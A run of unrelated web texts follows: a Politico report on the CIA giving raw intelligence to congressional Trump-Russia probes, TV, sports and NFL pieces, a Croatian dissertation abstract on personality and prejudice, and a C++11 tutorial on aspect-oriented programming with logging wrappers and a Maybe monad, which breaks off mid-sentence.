Caesar. That’s a bad place to be. We’ve already seen what how corrosive that form of despair can be with one ousted PM and it looks ominously like we might be seeing it with another. If philosophy can help you avoid that fate, surely it’s worth taking a second look? Best regards, Patrick PS: Do let me know if I can offer any reading suggestions. Always happy to help. -Sen. John Cornyn said Tuesday, he viewed “four large binders full of classified information that’s been made available to the committee to conduct” its wide-ranging investigation. | Getty CIA providing raw intelligence as Trump-Russia probes heat up Congress has entered a new phase in its investigation. Lawmakers are trekking to CIA headquarters in Langley, Virginia, to review classified evidence on Russia’s involvement in the presidential election. The House has scheduled its first public hearing on the issue. And the Senate is preparing to interview witnesses. The congressional investigations into ties between President Donald Trump's campaign and Russian officials are in full swing. Story Continued Below For months, the leaders of the House and Senate intelligence committees said their investigations into Russia’s meddling in the 2016 presidential election were in their “initial” stages. On Tuesday, it became clear that the probes had moved into a new phase. The CIA is now providing raw intelligence documents to committee members, according to multiple senators. Senate Intelligence Chairman Richard Burr (R-N.C.) and Majority Whip John Cornyn (R-Texas) visited CIA headquarters on Monday to view the documents underlying the intelligence community’s unclassified assessment that Russia sought to sway the election in favor of Trump. At Langley, Cornyn said Tuesday, he viewed “four large binders full of classified information that’s been made available to the committee to conduct” its wide-ranging investigation. House Intelligence Chairman Devin Nunes (R-Calif.) said members of his panel had also made visits to CIA headquarters and that there will be “more trips out there.” He said he was close to reaching an agreement with the intelligence community on whether evidence would be turned over to Congress or continue to be housed within the agencies. Nunes also said Tuesday that his panel’s first public hearing on the issue would be held March 20 and that former members of the Obama administration had been asked to testify — including former CIA Director John Brennan, former Director of National Intelligence James Clapper and former acting Attorney General Sally Yates, who was fired by Trump in January after refusing to defend his travel ban executive order in court. The Senate Intelligence Committee, meanwhile, is expected to begin questioning witnesses behind closed doors “in the coming days and weeks,” according to a congressional source who spoke on the condition of anonymity. These formal interviews are expected to take place on Capitol Hill, the source said, and will likely be with officials from the agencies that contributed to the assessment that concluded Moscow was trying to aid Trump in November — the CIA, the FBI and the National Security Agency. The panel’s top Democrat, Sen. Mark Warner, said he planned to travel to Langley on Wednesday to view the raw intelligence documents. Warner emphasized that the documents were “not the extent of the information we'll need” to conduct the Intelligence Committee’s Russia investigation, which will include looking into contacts between the Trump campaign and Russian officials. The Virginia senator said he and Burr were in discussions about which people should be interviewed as part of the probe. He declined to say whether the committee would seek testimony from Attorney General Jeff Sessions, a top Trump backer, who did not disclose two meetings he had with Russia’s ambassador last year during his January confirmation hearing. The Associated Press reported Monday that the Intelligence Committee had reached out to former Trump foreign policy adviser Carter Page and that Page had responded to the panel that he would "provide any information" that might be needed. Morning Cybersecurity A daily briefing on politics and cybersecurity — weekday mornings, in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time. Warner also indicated Tuesday he was happy with the cooperation the Intelligence Committee has gotten so far from the FBI. The top Democrat on the House Intelligence Committee, Rep. Adam Schiff of California, has accused the FBI of withholding information from his panel. “I have regular conversations with [FBI] Director [James] Comey,” Warner said Tuesday. “I am confident that we're going to get all the information we need to get to the bottom of this in a way that we can let the American people know what happened or didn't happen.” Nunes also suggested Tuesday the intelligence community might not have shared information about potential counterintelligence investigations with top lawmakers — called the Gang of Eight — who are supposed to be briefed on such matters. The congressman noted that multiple news reports have indicated that people associated with the Trump campaign were being investigated for potential ties to Russia, but that Congress was not made aware of any such investigations. “If Trump or any other political campaign, anybody associated with Trump, was under some kind of investigation, that clearly should have risen to the Gang of Eight level,” Nunes said. “Clearly we have some questions about whether or not last year we were read into everything that we should have been read into.” Josh Gerstein contributed to this report. -An Ocean’s Eleven or Dirty Dozen-style caper series with time travel? That’s DC’s Legends of Tomorrow which started filming its series today on Vancouver’s waterfront near Crab Tree Park with most of the cast on set except for the Big Bad — Vandal Savage. Doctor Who’s Arthur Darvill is time-master Rip Hunter who assembles a squabbling group of DC super heroes and villains — Victor Garber as Dr. Martin Stein, Wentworth Miller as Leonard Snart/Captain Cold, Caity Lotz as resurrected Sara Lance/the White Canary, Brandon Routh as Ray Palmer/ the A.T.O.M, Dominic Purcell as Mick Rory/Heatwave, Ciara Renee as Kendra/Hawkgirl, Falk Hentschel as Carter Hall/Hawkman and Franz Drameh as Jax Jackson — to try to stop Vandal Savage (Casper Crump), who threatens the planet and time itself. It could be a suicide mission but they’ll trade quips along the way. The two-part pilot is directed by Glen Winter. Legends of Tomorrow showrunner Phil Klemmer is on set too. Day one of #LegendsofTomorrow with our amazing director!! I think this show is going to be ________! pic.twitter.com/KAbftRP0xw — Caity Lotz (@caitylotz) September 9, 2015 Ciara Renee, Caity Lotz and Falk Hentschel. Arthur Darvill as Rip Hunter. And looking like David Tennant’s Doctor Who with the big brown coat. Wentworth Miller. Prison Break reunion: Dominic Purcell and Wentworth Miller. Brandon Routh and Caity Lotz soak up the sun waiting for the next take. Victor Garber as Dr. Martin Stein. And Franz Drameh as Jay Jackson in the passenger seat. Dancing in the streets like a proper time master….tick tick tick Boom A photo posted by Caity Lotz (@caitylotz) on Sep 10, 2015 at 2:54pm PDT Got to meet the lovely Caity Lotz at DC’s ‘Legends of Tomorrow’ filming in Downtown Vancouver today! @olv @yvrshoots pic.twitter.com/9ZgT0KvXHd — Rachel Short (@RackkShort) September 9, 2015 After production wrapped on the waterfront it moved into Gastown’s Bourbon Bar. DC’s Legends of Tomorrow debuts mid-season on The CW. -SAŽETAK: Istraživanja pokazuju da postoji pozitivna povezanost među predrasudama prema različitim društvenim skupinama, kao i određena vremenska stabilnost te stabilnost rang poretka u izraženosti predrasuda. Sukladno tome, opravdano je pretpostaviti da, osim nestalnih, kontekstualnih faktora, antecedente izraženosti predrasuda mogu predstavljati i neke trajnije dispozicije pojedinca. Cilj doktorskog rada je produbiti razumijevanje dispozicijskih osnova za sklonost predrasudama prema različitim društvenim skupinama, odnosno pobliže istražiti odnos osobina ličnosti i kognitivnih sposobnosti s generaliziranim predrasudama. Istraživanje na kojem se rad temelji provedeno je na reprezentativnom uzorku maturanata iz Grada Zagreba i Zagrebačke županije (N = 1034). Istraživanjem su prikupljeni kvantitativni podaci o kognitivnim sposobnostima, osobinama ličnosti, desnoj autoritarnosti, orijentaciji na socijalnu dominaciju te predrasudama prema starijim osobama, pretilim osobama, psihički oboljelim osobama, ateistima, gej muškarcima i imigrantima. Rezultati istraživanja pokazali su da je pozitivne interkorelacije izraženosti predrasuda prema pretilima, psihički oboljelima, ateistima, gej muškarcima i imigrantima moguće objasniti latentnim g faktorom predrasuda koji upućuje na sklonost generaliziranim predrasudama. Najvažniji korelati generaliziranih predrasuda su orijentacija na socijalnu dominaciju, desna autoritarnost, otvorenost prema iskustvu i kognitivne sposobnosti. Zajedno s ostalim dimenzijama ličnosti iz petofaktorskog modela, ove varijable objašnjavaju tri četvrtine varijance latentnog konstrukta generaliziranih predrasuda. Kognitivne sposobnosti i pored otvorenosti prema iskustvu imaju jedinstven doprinos predikciji kriterija. Analiza mehanizama djelovanja dispozicijskih varijabli na generalizirane predrasude pokazala je da: (1.) otvorenost prema iskustvu i kognitivne sposobnosti imaju na generalizirane predrasude izravne i neizravne negativne efekte posredovane desnom autoritarnosti i orijentacijom na socijalnu dominaciju; (2.) ugodnost ima neizravni pozitivni efekt posredovan desnom autoritarnosti i neizravni negativni efekt posredovan orijentacijom na socijalnu dominaciju; (3.) neuroticizam ima izravni i neizravni negativni efekt posredovan orijentacijom na socijalnu dominaciju; (4.) ekstraverzija i savjesnost imaju isključivo neizravne pozitivne efekte posredovane desnom autoritarnosti. Primarni doprinos istraživanja ogleda se u činjenici da pruža uvid u, ranije nedovoljno istražen, međuodnos osobina ličnosti i kognitivnih sposobnosti u kontekstu predikcije predrasuda. _____________________________________________________________________________________EXTENDED SUMMARY: Introduction. Prejudice most often denotes negative attitude towards a social group or its members. Previous studies revealed a positive correlation between prejudices towards different social groups, as well as certain time stability and rank-order stability of prejudice. This suggests that individual's dispositions, along with contextual factors, may play a significant role as antecedents of prejudice. This thesis focuses on personality and cognitive ability as possible precursors of prejudice. Three theories seem to be especially relevant when examining the relationship between dispositions and prejudice: McCrae and Costa’s (2008) meta-theoretical framework of the Five-Factor Theory (FFT) of personality, Duckitt’s (2001) Dual-process motivational model of ideology and prejudice (DPM) and Dhont and Hodson’s (2014) Cognitive Ability and Style to Evaluation (CASE) model. According to the FFT, dispositions (as basic tendencies) should relate to the ideological attitudes (as characteristic adaptations), which should further relate to prejudice, ethnocentrism or discrimination (as objective biography). This is in line with the postulates of the other two relevant theoretical frameworks. As stated in the DPM, the exposure to threatening and competitive social surroundings results in the development of social conformity (i.e. low openness and high conscientiousness) and toughmindedness (i.e. low agreeableness). A person characterized by high social conformity reacts sensitively to signs of threat within society and is eager to protect the established norms at any cost. Individuals characterized by high toughmindedness perceive the world as a competitive jungle and tend to be unattached and interpersonally aversive. These characteristics bring forward the motivational goals for security and power (embodied in the right-wing authoritarianism and social dominance orientation), which ultimately lead to prejudice. Finally, according to the CASE model, lower cognitive ability and higher need for structure, order and predictability enhance the perception of changing social environment as threatening. This leads to the activation of the prevention focus, aimed at keeping the status quo. Perceived threat and prevention focus can further lead to the right-wing, socially conservative attitudes that are related to the resistance to change, and consequently, stereotypes, prejudice and discrimination. The causal order of these models’ components was supported both experimentally and longitudinally. Although this thesis did not comprehensively test any of the above-mentioned theoretical models, it largely aligned with the FFT, the DPM and the CASE model predictions when building its hypotheses. The aim of the study. The aim of the study is to deepen the understanding of the dispositional basis of proneness to prejudice. Empirical study was conducted examining the relationship of personality traits and cognitive ability with generalized prejudice. It also explored the mechanisms underlying the effects of dispositions on generalized prejudice and analyzed the interdependence of dispositional predictors of generalized prejudice. Methodology and data analysis. The study was conducted on a representative sample of secondary school students from the City of Zagreb, Croatia and the Zagreb County. Participants were 17-20 years old and were attending their final year of secondary education (N = 1034). The measures encompassed dispositional variables - Big Five personality traits and cognitive ability, ideological variables - right-wing authoritarianism and social dominance orientation, as well as different measures of prejudice - prejudice towards elderly people, prejudice towards overweight people, prejudice towards individuals with mental illnesses, prejudice towards atheists, prejudice towards gay men and prejudice towards immigrants. The data was analyzed using exploratory factor analysis and series of regression analyses. In addition, structural equation modelling with latent variables was performed. Results and discussion. Results revealed that positive correlation between the measures of prejudice towards overweight people, individuals with mental illnesses, atheists, gay men and immigrants can be explained by the latent g factor of prejudice. Prejudice towards elderly people shared less variance with other measures of prejudice and appeared to be somewhat sub-optimal indicator of the g factor of prejudice. Therefore, this indicator was not included in the definition of the generalized prejudice construct. The lower correlation of this specific prejudice measure with the g factor was discussed with respect to the following: the peculiarity of this group as an untypical out-group; the prevailing norm of nurturance of traditional values in contemporary Croatian society; and the opposite direction of its relations to the ideological variables of right-wing authoritarianism [-] and social dominance orientation [+]. Generalized prejudice was strongly positively correlated to right-wing authoritarianism and social dominance orientation and moderately negatively correlated to openness to experience and cognitive ability. There was a low negative correlation of generalized prejudice with neuroticism and low positive correlation of generalized prejudice with extraversion and conscientiousness. The correlation of generalized prejudice with agreeableness was low and statistically insignificant. The ideological variables, followed by openness to experience and cognitive ability, appeared to be the most pertinent correlates of generalized prejudice. The latter is in accordance with the theoretical background and previous empirical evidence about these relationships. In the thesis, only tentative interpretations of the relationships of extraversion, conscientiousness and neuroticism with generalized prejudice were given, since the correlations were low and the earlier findings were incongruent or inconsistent. The unexpected finding revealing the non-significant relationship of agreeableness and generalized prejudice was discussed in regard to the opposing direction of the correlations of agreeableness with right-wing authoritarianism [+] and social dominance orientation [-], as well as regarding the fact that the Big Five Inventory was used as a measure of personality traits. A set of dispositional and ideological variables explained about three quarters of the variance of the generalized prejudice latent variable. The dispositional predictors appeared to be as useful in explaining the variance of generalized prejudice as the ideological variables (with contribution shared with dispositional variables accounted for). The results indicated a statistically significant contribution to the prediction of generalized prejudice by all the individual predictors. The most important predictors were social dominance orientation, right-wing authoritarianism and openness to experience. Importantly, cognitive ability and openness to experience had non-redundant contributions to the explanation of the variance of the generalized prejudice. The present study also investigated the mechanisms underlying the effects of dispositional variables on generalized prejudice. The analysis of direct and indirect effects resulted in several notable conclusions. Firstly, the effect of the openness to experience and cognitive ability on generalized prejudice was threefold: (1.) direct negative effects of these variables suggested that higher openness to experience and higher cognitive ability were associated with lower generalized prejudice; (2.) indirect negative effects via right-wing authoritarianism suggested that individuals with higher openness to experience and higher cognitive ability were more inclined to reject right-wing attitudes and thus had lower generalized prejudice; and (3.) indirect negative effects via social dominance orientation indicated that individuals who were more open to new experiences and had higher cognitive ability were less focused on establishing hierarchy in social relations and thus less inclined to generalized prejudice. Secondly, agreeableness had a dual contrasting effect on generalized prejudice via right-wing authoritarianism and social dominance orientation: (1.) an indirect positive effect via right-wing authoritarianism suggested that more agreeable individuals were more inclined to adhere to right-wing ideology and thus more inclined to generalized prejudice, while (2.) an indirect negative effect via social dominance orientation suggested that the more agreeable individuals were less supportive of social domination and thus, indirectly, less prone to generalized prejudice. Thirdly, the effect of neuroticism on generalized prejudice was twofold: (1.) a direct negative effect suggested that higher neuroticism (trait more characteristic of female compared to male participants) was associated with lower generalized prejudice, while (2.) an indirect negative effect via social dominance orientation suggested that the individuals with higher neuroticism preferred egalitarian social relations and thus demonstrated lower generalized prejudice. Finally, extraversion and conscientiousness had positive effects on generalized prejudice, mediated by the right-wing authoritarianism - more extroverted and conscientious individuals were more inclined to favor right-wing authoritarian tendencies and thus, indirectly, were more inclined to generalized prejudice. Comparing the magnitude of indirect effects of dispositions for which both ideological variables served as mediators of the effect on generalized prejudice, right-wing authoritarianism was found to be more important mediator in the case of openness to experience, and social dominance orientation was found to be more important mediator in the case of agreeableness and cognitive ability. In sum, both right-wing authoritarianism and social dominance orientation appeared to be of vital importance in ensuring the mechanism through which the dispositions exerted its effects to prejudice, since the former mediated the effects of five, and the latter mediated the effects of four (out of six examined) dispositional variables to generalized prejudice. In addition, none of the dispositional variables had exclusively direct effect on generalized prejudice. Rather, indirect effects always followed the identified direct effects. However, it should be borne in mind that the robustness of some (unforeseen) mechanisms might be brought into question by the upcoming research, since the significance of some of the effects may well be influenced by the fact that the analysis was performed on a large sample. Conclusion. The present research contributes to better understanding of the role of personality traits and cognitive ability as precursors of (generalized) prejudice, especially with respect to their interdependence. A deeper understanding of the dispositional basis of proneness to prejudice serves as one of the preconditions for the integration of these constructs into the models that include a wider spectrum of prejudice antecedents. Indirectly, the research fuels further advancement in the study of nature and determinants of prejudice and provides a basis for the development of more effective interventions for prejudice reduction. -FORT COLLINS, Colo. - Colorado State, in conjunction with the University of Arkansas, announced on Wednesday that the two teams will play each other on Sept. 8, 2018 in Fort Collins. It will mark the second time that an SEC school has ever visited Fort Collins, joining Mississippi State in 1981. "This is exciting for our football program and for our fans," said head coach Mike Bobo . "Being able to bring an SEC opponent to Fort Collins speaks to the growth of our program and also speaks to the impact our new on-campus stadium is already making. We want to challenge ourselves in our non-conference schedule and also bring those quality opponents to our home field and our fans." The addition to the schedule completes the Rams' 2018 non-conference slate, which will feature three Power-5 opponents for the second year in a row. The season will begin Sept. 1 with the annual Rocky Mountain Showdown vs. Colorado in Denver. The following week, Sept. 8, the Razorbacks will visit Fort Collins, followed by a trip to another SEC school, Florida, on Sept. 15. The Rams will close the non-conference portion of their schedule on Sept. 22 vs. Illinois State before opening up Mountain West action. CSU will host Hawai`i, New Mexico, Utah State and Wyoming in conference play while travel to Air Force, Boise State, Nevada and San Jose State. Tuesday's announcement with Arkansas is the second in the past year. In April, it was announced that the two schools will face each other in Fayetteville during the 2019 season. Additionally, the two schools signed a home-and-home deal to play in basketball over the next two seasons, which was also announced in April. "Arkansas is a wonderful addition to our home schedule in 2018 and reinforces our trend of securing high-profile non-conference opponents," said athletics director Joe Parker . "We are thrilled to have the Razorbacks in Fort Collins as we transition an originally agreed-upon guarantee game into a home-and-home series." The Rams and Razorbacks have met three times in football. All three contests - in 1974, 1979 and 1990 - were played in Little Rock and won by Arkansas. Between 2018-2028, CSU now has 18 non-conference dates scheduled, 15 of which are against Power-5 teams. The Rams will also play three Power-5 opponents in 2017, facing Colorado (Denver), hosting Oregon State and traveling to Alabama. From 2008-14, CSU did not host a Power-5 school once, but from 2015-2021, at least one will visit Fort Collins in six of the seven years, plus other dates already scheduled for 2025, 2026 and 2027. The Rams are preparing for their highly anticipated 2017 season and opening of the new on-campus stadium. New season ticket commitments are now being accepted by contacting the Rams Sales Team at 800-491-RAMS (7267) or visiting www.CSURams.com/tickets. Current season-ticketholders will have first priority to select their seats during appointed times set to begin March 22. In preparation for the inaugural season of the on-campus stadium, the Colorado State athletics department has launched a special football gameday website, which provides in-depth information on everything from tickets to parking, tailgating, gameday logistics and much more. The website can be found at www.CSURams.com/footballgameday. FUTURE COLORADO STATE NON-CONFERENCE FOOTBALL SCHEDULES 2017 Sept. 1 - vs. Colorado (in Denver) Sept. 9 - ABILENE CHRISTIAN Sept. 16 - at Alabama Sept. 23 - OREGON STATE 2018 Sept. 1 - vs. Colorado (in Denver) Sept. 8 - ARKANSAS Sept. 15 - at Florida Sept. 22 - ILLINOIS STATE 2019 Aug. 31 - vs. Colorado (in Denver) Sept. 14 - at Arkansas Sept. 21 - TOLEDO 2020 Sept. 5 - COLORADO Sept. 12 - at Oregon State Sept. 26 - at Vanderbilt 2021 Sept. 11 - VANDERBILT Sept. 25 - at Toledo 2025 Sept. 6 - TEXAS TECH Sept. 27 - at Vanderbilt 2026 Sept. 12 - at Texas Tech Sept. 26 - VANDERBILT 2027 Sept. 4 - ARIZONA 2028 Sept. 2 - at Arizona -Leyton Orient are understood to have offered the head coach role to Kevin Nugent. The O's are looking for a replacement to Russell Slade following his resignation last week. Nugent stepped in as caretaker boss for Saturday's 3-2 home defeat to Rochdale and is expected to take charge again at home to Swindon this weekend. Nugent is believed to have accepted the offer in principle although it has not yet been confirmed by the club. Speaking at the weekend, Nugent said: "I'm sure there will be people interested because it's a fantastic job for someone. I'm sure there will be interest in it but I don't know. "I've obviously worked here a long time and I've done the youth team, scouting and all sorts. Changing the role to head coach is something that would certainly excite me but we'll have to wait and see." -We’ve been hearing for years that the NFL is a quarterback-driven league. We’ve assumed this means you need a star QB in order to compete for a title. But what if the other end is also true? What if competing for a title can turn a modest quarterback into a star? With the rules and nature of the pro game favoring passing attacks, coaches can now tailor their systems to highlight a quarterback’s strengths and/or hide his weaknesses. The square-peg, round-hole thing has become borderline moot; the holes are now so large that anyone can fit in. So in this quarterback-driven league, wouldn’t that mean more opportunities for all quarterbacks to succeed, including the mediocre ones? Look at the quarterbacks likely to be in this year’s AFC playoff bracket: Ryan Fitzpatrick; Alex Smith; Brandon Weeden (or journeyman Brian Hoyer, depending on his health); AJ McCarron (assuming his wrist is healthy enough, he’s in for an injured Andy Dalton, who had been the poster child of “decent but limited” quarterbacking); Brock Osweiler; Tom Brady (the exception to this group, though as we’ll see shortly, much less of an exception than you might guess). The quarterbacks likely out of this AFC postseason: Philip Rivers, Ben Roethlisberger, Andrew Luck, Joe Flacco (the latter two were on the fringe even before injuries). Star passers did not carry the show this year. There will always be a place for big-bodied, strong-armed passers who make full-field progression reads from the pocket. Each NFL game still presents multiple scenarios that demand this type of play. But the game has opened up and evolved to the point where this classic style of quarterbacking is no longer mandatory on every series. There are numerous ways to tailor an offense for a quarterback. Let’s go through the prime example from each of this year’s likely AFC playoff teams. • THE FINE FIFTEEN: A new team sits atop Peter King’s power rankings, plus what the Broncos’ Monday night defeat of the Bengals means for the playoff picture * * * New York Jets (No. 6 seed) When Chan Gailey coached Ryan Fitzpatrick in Buffalo, he quickly understood what the journeyman QB was and what he was not. Fitzpatrick had an OK arm that he at times treated like a great arm, rifling balls into too-tight windows. With erratic mechanics, Fitzpatrick’s ball could also get away at times—all the more problematic when you consider the defensive traffic surrounding those “too-tight windows.” Instead of trying to change his quarterback’s makeup (which almost never works in the NFL), Gailey structured a system that would minimize Fitzpatrick’s damages. The Bills spread out. This spread the defense as well, minimizing the traffic and better clarifying the passing lanes. Because of the spacing, your route combinations from a spread can be limited. But that was not a huge problem because Fitzpatrick didn’t always play within the timing and structure of route combinations anyway. Reunited with Gailey in New York, the 33-year-old Fitzpatrick has been tamed into less of a wild stallion, though not enough for Gailey to change his approach. The Jets are a bona fide spread offense. To capitalize on this (and also hide the fact that they have nothing at tight end), they instill as much receiving speed and athleticism into their spreads as possible. More than 30 percent of their snaps this season have come with four wide receivers on the field—by far the highest margin in the NFL. Here’s an illustration of their template. Another benefit for Fitzpatrick in a four-receiver spread is that it leaves minimal bodies in pass protection. This compels the QB to get rid of the ball quickly. That’s why the Jets, despite an average offensive line, have given up only 21 sacks this season, second fewest in the league. • MAKING TODD BOWLES: Bruce Arians, Joe Gibbs and Bill Parcells each had a hand in molding Todd Bowles, who is now remaking the Jets in his own image * * * Kansas City Chiefs (No. 5 seed) Not everyone likes to hear this, but it’s true: Alex Smith is the consummate game manager. He doesn’t throw interceptions because he doesn’t take chances. In the system Andy Reid has built for him, that’s fine. The Chiefs manufacture a passing game through pre-snap motion and shifts, and intertwined route combinations that create defined reads for the quarterback, usually at the shorter intermediate levels. Here’s a classic example: • Q&A WITH JAMAAL CHARLES: The Chiefs star on his rehab, his status for 2016 and what it’s been like to watch his team’s hot streak * * * Houston Texans (No. 4 seed) Brandon Weeden has been stellar if not spectacular in his six quarters as Houston’s signal-caller. Bill O’Brien, one of the trendier offensive innovators in football, has not asked Weeden to do too much. It helps that O’Brien wasn’t asking Weeden’s predecessor, Brian Hoyer, to do too much either. (Hoyer will likely be healthy for the Wild-Card Round.) The Texans this season have not had to amend much of their system despite starting four different quarterbacks. Here’s an illustration of that system. • Q&A WITH CECIL SHORTS: The Texans receiver (and sometimes quarterback) on how Houston turned things around * * * Cincinnati Bengals (No. 3 seed) The Andy Dalton injury was a critical blow to the Bengals. Dalton had become very adroit in Hue Jackson’s scheme, which took advantage of the quarterback’s high pre-snap awareness. That said, Dalton’s injury was not a death blow. Jackson’s scheme can also simplify things in the post-snap phase, as long as the QB reads the safeties properly. Two things the Bengals have done well with Dalton: attacking the seams in the red zone and stretching the field outside, often with A.J. Green. Two weeks ago at San Francisco, in AJ McCarron’s first NFL start, Cincy still got huge plays from these concepts. • WATCHING FILM WITH… A.J. GREEN: The Bengals superstar wideout breaks down the nuances of his game * * * Denver Broncos (No. 2 seed) Since leading the Broncos to a snowy Sunday night upset over the Patriots, Brock Osweiler has been asked to mostly just manage games. Many of Osweiler’s throws have been on simplified route concepts at the short-intermediate levels. The results have been good and bad. Ultimately, if Denver is to advance this postseason, Gary Kubiak will have to lengthen his 25-year-old quarterback’s leash. Fortunately, Kubiak’s system is already equipped to do that, thanks to its heavy emphasis on zone play action. This approach naturally slices the field in half, which helps any QB. * * * New England Patriots (No. 1 seed) Tom Brady is the obvious outlier among this year’s AFC playoff quarterbacks. Fans marvel at the way he wins no matter how bland his supporting cast might be. What’s not asked often enough is how does he win? Brady has full power to adjust plays at the line of scrimmage, and his pocket mobility, pinpoint accuracy and underrated arm strength make him a lethal full-field progression passer. But with a makeshift offensive line, average wide receivers and a mediocre ground game, Brady lacks the surrounding resources to play this way down in and down out. So he and offensive coordinator Josh McDaniels have constructed a quick-strike passing attack that sustains drives through small chunks and yards-after-catch. * * * Big-time quarterbacking still carries the day in the NFL. This year’s NFC playoff bracket shows as much. Carson Palmer has been the prototype. Cam Newton has evolved into an elite pocket passer (among other things). Aaron Rodgers has kept Green Bay’s utterly ineffective aerial attack above water. And in Seattle, Russell Wilson has learned to play from the pocket without sacrificing his sandlot prowess. The other two playoff teams, however, Minnesota and Washington, both fit in the AFC mold. That means seven of this year’s 12 finalists have quarterbacks who must be aided and camouflaged by their offensive system. With the nature of today’s pro game, those seven teams all still have a shot. -This post is about making functional decomposition from perspective of Aspect Oriented Programming using C++11. If you are not familiar with ideas of AOP don’t be afraid – it’s rather simple concept, and by the end of this post you will understand the benefits of it. You also can treat this post just as example how to use high-order functions in C++11. In short – AOP tries to perform decomposition of every business function into orthogonal parts called aspects such as security, logging, error handling, etc. The separation of crosscutting concerns. It looks like: Since C++11 supports high-order functions now we can implement factorization without any additional tools and frameworks (like PostSharp for C#). You can scroll down to ‘what for’ chapter to check out the result to get more motivated. PART 1 – TRIVIAL SAMPLE Let’s start from something simple – one aspect and one function. Here is simple lambda with trivial computation inside: auto plus = [](int a, int b) { LOG << a + b << NL; }; 1 auto plus = [ ] ( int a , int b ) { LOG << a + b << NL ; } ; I want to add some logging before and after computation. Instead of just adding this boilerplate code into function body let’s go other way. In C++11 we just can write high-order function which will take function as argument and return new function as result: template std::function wrapLog(std::function f) { return [f](Args... args){ LOG << "start" << NL; f(args...); LOG << "finish" << NL; }; } 1 2 3 4 5 6 7 8 9 template < typename . . . Args > std :: function < void ( Args . . . ) > wrapLog ( std :: function < void ( Args . . . ) > f ) { return [ f ] ( Args . . . args ) { LOG << "start" << NL ; f ( args . . . ) ; LOG << "finish" << NL ; } ; } Here we used std::function, variadic templates and lambda as result. (LOG, NL – my own logging stream and you can just change it with std::cout , std::endl or your another logging lib). As i hoped to achieve the most simple and compact solution, i expected to use it like this: auto loggedPlus = wrapLog(plus); 1 auto loggedPlus = wrapLog ( plus ) ; Unfortunately this will not compile. ‘no matching function to call ….’ The reason is that lambda is not std::function and automatic type conversion can’t be done. Of cause we can write something like this: auto loggedPlus = wrapLog(static_cast>(plus)); 1 auto loggedPlus = wrapLog ( static_cast < std :: function < void ( int , int ) >> ( plus ) ) ; This line will compile, but this is ugly… I hope cpp committee will fix this casting issue. Meanwhile, the best solution i found so far is the following: template struct function_traits : public function_traits {}; template struct function_traits { typedef ReturnType (*pointer)(Args...); typedef std::function function; }; template typename function_traits::function to_function (Function& lambda) { return typename function_traits::function(lambda); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 template < typename Function > struct function_traits : public function_traits < decltype ( & Function :: operator ( ) ) > { } ; template < typename ClassType , typename ReturnType , typename . . . Args > struct function_traits < ReturnType ( ClassType :: * ) ( Args . . . ) const > { typedef ReturnType ( * pointer ) ( Args . . . ) ; typedef std :: function < ReturnType ( Args . . . ) > function ; } ; template < typename Function > typename function_traits < Function > :: function to_function ( Function & lambda ) { return typename function_traits < Function > :: function ( lambda ) ; } This code is using type traits to convert anonymous lambda into std::function of same type. We can use it like this: auto loggedPlus = wrapLog(to_function(plus)); 1 auto loggedPlus = wrapLog ( to_function ( plus ) ) ; Not perfect but much better. Finally we can call functional composition and get the result. loggedPlus(2,3); // Result: // start // 5 // finish 1 2 3 4 5 6 loggedPlus ( 2 , 3 ) ; // Result: // start // 5 // finish Note: if we had declared aspect function without variadic template we could compose functions without to_function() conversion, but this would kill the benefit from writing universal aspects discussed further. PART 2 – REALISTIC EXAMPLE Introduction is over, let’s start some more real-life coding here. Let’s assume we want to find some user inside database by id. And while doing that we also want log the process duration, check that requesting party is authorised to perform such request (security check), check for database request fail, and, finally, check in local cache for instant results. And one more thing – i don’t want to rewrite such additional aspects for every function type. So let’s write them using variadic templates and get as universal methods as possible. Ok, let’s start. I will create some dummy implementation for additional classes like User, etc. Such classes are only for example and actual production classes might be completely different, like user id should not be int, etc. Sample User class as immutable data: // Simple immutable data class UserData { public: const int id; const string name; UserData(int id, string name) : id(id), name(name) {} }; // Shared pointer to immutable data using User = std::shared_ptr; 1 2 3 4 5 6 7 8 9 10 // Simple immutable data class UserData { public : const int id ; const string name ; UserData ( int id , string name ) : id ( id ) , name ( name ) { } } ; // Shared pointer to immutable data using User = std :: shared_ptr < UserData > ; Let’s emulate database as simple vector of users and create one method to work with it (find user by id): vector users {make(1, "John"), make(2, "Bob"), make(3, "Max")}; auto findUser = [&users](int id) -> Maybe { for (User user : users) { if (user->id == id) return user; } return nullptr; }; 1 2 3 4 5 6 7 8 9 vector < User > users { make < User > ( 1 , "John" ) , make < User > ( 2 , "Bob" ) , make < User > ( 3 , "Max" ) } ; auto findUser = [ & users ] ( int id ) -> Maybe < User > { for ( User user : users ) { if ( user -> id == id ) return user ; } return nullptr ; } ; make<> here is just shortcut for make_shared<>, nothing special. Maybe<> monad You, probably, noticed that return type of request function contains something called Maybe. This class is inspired by Haskell maybe monad, with one major addition. Instead of just saving Nothing state and Content state, it also might contain Error state. At first, here is sample type for error description: /// Error type - int code + description class Error { public: Error(int code, string message) : code(code), message(message) {} Error(const Error& e) : code(e.code), message(e.message) {} const int code; const string message; }; 1 2 3 4 5 6 7 8 9 /// Error type - int code + description class Error { public : Error ( int code , string message ) : code ( code ) , message ( message ) { } Error ( const Error & e ) : code ( e . code ) , message ( e . message ) { } const int code ; const string message ; } ; Here is minimalistic implementation of Maybe: template < typename T > class Maybe { private: const T data; const shared_ptr error; public: Maybe(T data) : data(std::forward(data)), error(nullptr) {} Maybe() : data(nullptr), error(nullptr) {} Maybe(decltype(nullptr) nothing) : data(nullptr), error(nullptr) {} Maybe(Error&& error) : data(nullptr), error(make_shared(error)) {} bool isEmpty() { return (data == nullptr); }; bool hasError() { return (error != nullptr); }; T operator()(){ return data; }; shared_ptr getError(){ return error; }; }; template Maybe just(T t) { return Maybe(t); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 template < typename T > class Maybe { private : const T data ; const shared_ptr < Error > error ; public : Maybe ( T data ) : data ( std :: forward < T > ( data ) ) , error ( nullptr ) { } Maybe ( ) : data ( nullptr ) , error ( nullptr ) { } Maybe ( decltype ( nullptr ) nothing ) : data ( nullptr ) , error ( nullptr ) { } Maybe ( Error && error ) : data ( nullptr ) , error ( make_shared < Error > ( error ) ) { } bool isEmpty ( ) { return ( data == nullptr ) ; } ; bool hasError ( ) { return ( error != nullptr ) ; } ; T operator ( ) ( ) { return data ; } ; shared_ptr < Error > getError ( ) { return error ; } ; } ; template < class T > Maybe < T > just ( T t ) { return Maybe < T > ( t ) ; } Note, that you 